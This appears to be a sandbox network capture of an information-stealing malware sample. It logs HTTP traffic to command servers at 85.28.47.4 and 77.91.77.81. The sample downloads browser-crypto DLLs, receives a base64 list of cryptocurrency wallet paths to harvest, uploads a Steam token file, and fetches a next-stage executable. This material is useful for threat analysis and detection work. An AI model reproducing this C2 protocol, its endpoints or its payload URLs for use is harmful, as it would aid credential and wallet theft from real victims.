Jul 2, 2024 15:26:07.062968969 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 13:26:06 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "94750-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Jul 2, 2024 15:26:07.467299938 CEST	90	OUT	GET /69934896f997d5bb/msvcp140.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jul 2, 2024 15:26:07.644840002 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 13:26:07 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "6dde8-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Jul 2, 2024 15:26:07.957932949 CEST	86	OUT	GET /69934896f997d5bb/nss3.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jul 2, 2024 15:26:08.135518074 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 13:26:08 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "1f3950-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Jul 2, 2024 15:26:09.650989056 CEST	90	OUT	GET /69934896f997d5bb/softokn3.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jul 2, 2024 15:26:09.829442024 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 13:26:09 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "3ef50-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Jul 2, 2024 15:26:10.113781929 CEST	94	OUT	GET /69934896f997d5bb/vcruntime140.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jul 2, 2024 15:26:10.291115046 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 13:26:10 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "13bf0-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Jul 2, 2024 15:26:10.800390959 CEST	198	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKFBFCAFCBKFIEBFHIDB Host: 85.28.47.4 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Jul 2, 2024 15:26:11.545237064 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 13:26:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 2, 2024 15:26:11.631784916 CEST	464	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDAFIEHIEGDHIDGDGHDH Host: 85.28.47.4 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 39 61 33 63 31 31 30 31 63 36 39 66 66 35 33 37 32 37 31 31 33 37 63 39 30 38 61 66 39 35 66 37 35 65 37 32 66 63 37 65 36 62 64 66 62 62 39 32 33 65 32 65 39 62 30 65 37 38 61 36 64 30 33 64 36 64 33 34 64 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 48 2d 2d 0d 0a Data Ascii: ------JDAFIEHIEGDHIDGDGHDHContent-Disposition: form-data; name="token"9b9a3c1101c69ff537271137c908af95f75e72fc7e6bdfbb923e2e9b0e78a6d03d6d34d4------JDAFIEHIEGDHIDGDGHDHContent-Disposition: form-data; name="message"wallets------JDAFIEHIEGDHIDGDGHDH--
Jul 2, 2024 15:26:11.823715925 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 13:26:11 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Jul 2, 2024 15:26:11.826812029 CEST	462	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIDBKKKKKFBGDGDHIDBG Host: 85.28.47.4 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 39 61 33 63 31 31 30 31 63 36 39 66 66 35 33 37 32 37 31 31 33 37 63 39 30 38 61 66 39 35 66 37 35 65 37 32 66 63 37 65 36 62 64 66 62 62 39 32 33 65 32 65 39 62 30 65 37 38 61 36 64 30 33 64 36 64 33 34 64 34 0d 0a 2d 2d 2d 2d 2d 2d 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 2d 2d 0d 0a Data Ascii: ------GIDBKKKKKFBGDGDHIDBGContent-Disposition: form-data; name="token"9b9a3c1101c69ff537271137c908af95f75e72fc7e6bdfbb923e2e9b0e78a6d03d6d34d4------GIDBKKKKKFBGDGDHIDBGContent-Disposition: form-data; name="message"files------GIDBKKKKKFBGDGDHIDBG--
Jul 2, 2024 15:26:12.012418985 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 13:26:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 2, 2024 15:26:12.031389952 CEST	560	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJJJDAEGIDHCBFHJJJEG Host: 85.28.47.4 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 44 41 45 47 49 44 48 43 42 46 48 4a 4a 4a 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 39 61 33 63 31 31 30 31 63 36 39 66 66 35 33 37 32 37 31 31 33 37 63 39 30 38 61 66 39 35 66 37 35 65 37 32 66 63 37 65 36 62 64 66 62 62 39 32 33 65 32 65 39 62 30 65 37 38 61 36 64 30 33 64 36 64 33 34 64 34 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 44 41 45 47 49 44 48 43 42 46 48 4a 4a 4a 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 44 41 45 47 49 44 48 43 42 46 48 4a 4a 4a 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HJJJDAEGIDHCBFHJJJEGContent-Disposition: form-data; name="token"9b9a3c1101c69ff537271137c908af95f75e72fc7e6bdfbb923e2e9b0e78a6d03d6d34d4------HJJJDAEGIDHCBFHJJJEGContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------HJJJDAEGIDHCBFHJJJEGContent-Disposition: form-data; name="file"------HJJJDAEGIDHCBFHJJJEG--
Jul 2, 2024 15:26:12.747488976 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 13:26:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 2, 2024 15:26:12.775409937 CEST	467	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJDBGDGCGDAKFIDGIDBF Host: 85.28.47.4 Content-Length: 270 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 44 42 47 44 47 43 47 44 41 4b 46 49 44 47 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 39 61 33 63 31 31 30 31 63 36 39 66 66 35 33 37 32 37 31 31 33 37 63 39 30 38 61 66 39 35 66 37 35 65 37 32 66 63 37 65 36 62 64 66 62 62 39 32 33 65 32 65 39 62 30 65 37 38 61 36 64 30 33 64 36 64 33 34 64 34 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 42 47 44 47 43 47 44 41 4b 46 49 44 47 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 6a 62 64 74 61 69 6a 6f 76 67 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 42 47 44 47 43 47 44 41 4b 46 49 44 47 49 44 42 46 2d 2d 0d 0a Data Ascii: ------IJDBGDGCGDAKFIDGIDBFContent-Disposition: form-data; name="token"9b9a3c1101c69ff537271137c908af95f75e72fc7e6bdfbb923e2e9b0e78a6d03d6d34d4------IJDBGDGCGDAKFIDGIDBFContent-Disposition: form-data; name="message"jbdtaijovg------IJDBGDGCGDAKFIDGIDBF--
Jul 2, 2024 15:26:13.501097918 CEST	331	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 13:26:12 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 104 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 63 33 4c 6a 6b 78 4c 6a 63 33 4c 6a 67 78 4c 32 31 70 62 6d 55 76 59 57 31 68 5a 47 74 68 4c 6d 56 34 5a 58 77 77 66 44 42 38 66 47 68 30 64 48 41 36 4c 79 38 33 4e 79 34 35 4d 53 34 33 4e 79 34 34 4d 53 39 6a 62 33 4e 30 4c 32 64 76 4c 6d 56 34 5a 58 77 77 66 44 42 38 66 41 3d 3d Data Ascii: aHR0cDovLzc3LjkxLjc3LjgxL21pbmUvYW1hZGthLmV4ZXwwfDB8fGh0dHA6Ly83Ny45MS43Ny44MS9jb3N0L2dvLmV4ZXwwfDB8fA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	77.91.77.81	80	7508	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:26:13.509376049 CEST	77	OUT	GET /mine/amadka.exe HTTP/1.1 Host: 77.91.77.81 Cache-Control: no-cache
Jul 2, 2024 15:26:14.225807905 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:26:14 GMT Content-Type: application/octet-stream Content-Length: 1945600 Last-Modified: Tue, 02 Jul 2024 13:14:43 GMT Connection: keep-alive ETag: "6683fd43-1db000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 84 ea 61 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e4 04 00 00 c6 01 00 00 00 00 00 00 d0 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PJr>r>r>=r>;(r>]:r>]=r>];r>:r>?r>r?^r>7r>r><r>Richr>PELafL@M@XlDLL @.rsrc@.idata @ p+@kaaoivdf 2@tgaboymzL@.taggant0L"@
Jul 2, 2024 15:26:14.225842953 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jul 2, 2024 15:26:14.225872993 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jul 2, 2024 15:26:14.225883007 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jul 2, 2024 15:26:14.225900888 CEST	896	IN	Data Raw: c7 a5 63 fe 3e f9 35 63 54 89 c9 90 a5 a9 e6 d8 23 aa 5a 4d df b2 98 53 2d 21 4d 00 c3 a5 a3 fd 7e 45 eb 64 f1 59 17 fe 56 d6 4c d3 dd f9 dc fd 55 65 73 fd 72 d8 9c f2 dd 19 82 a4 29 25 ab 0b ed 45 d7 f7 60 dc ea 0b 1d 41 52 c6 8f c9 79 18 cd 81 Data Ascii: c>5cT#ZMS-!M~EdYVLUesr)%E`ARyz7m^.}Zs5+(="ZH$2^liRT+I)ELzVj}yyBsi$p"E[KeTM
Jul 2, 2024 15:26:14.225910902 CEST	1236	IN	Data Raw: 15 12 ae 13 59 2a ab b2 a6 59 6a fc 75 c0 45 fc 6e a9 be 97 6f 1c 9d 0b 07 a2 15 dc 8a 41 ea 27 fc f7 e3 0c bd 07 ea a4 a4 59 cb cc 5e a9 8e d7 f8 dc 16 de 1e aa 55 b9 ce 85 8a 13 cd 6d 4d 33 8d a7 fa 36 c9 d2 ee ef 1e e7 ea 0c 21 be ed 52 dd 79 Data Ascii: Y*YjuEnoA'Y^UmM36!Ryiico${[N#ZrLYdy!VxHEfumK)'6\|P{]\|%xLlEM:Vj=t4,y$L
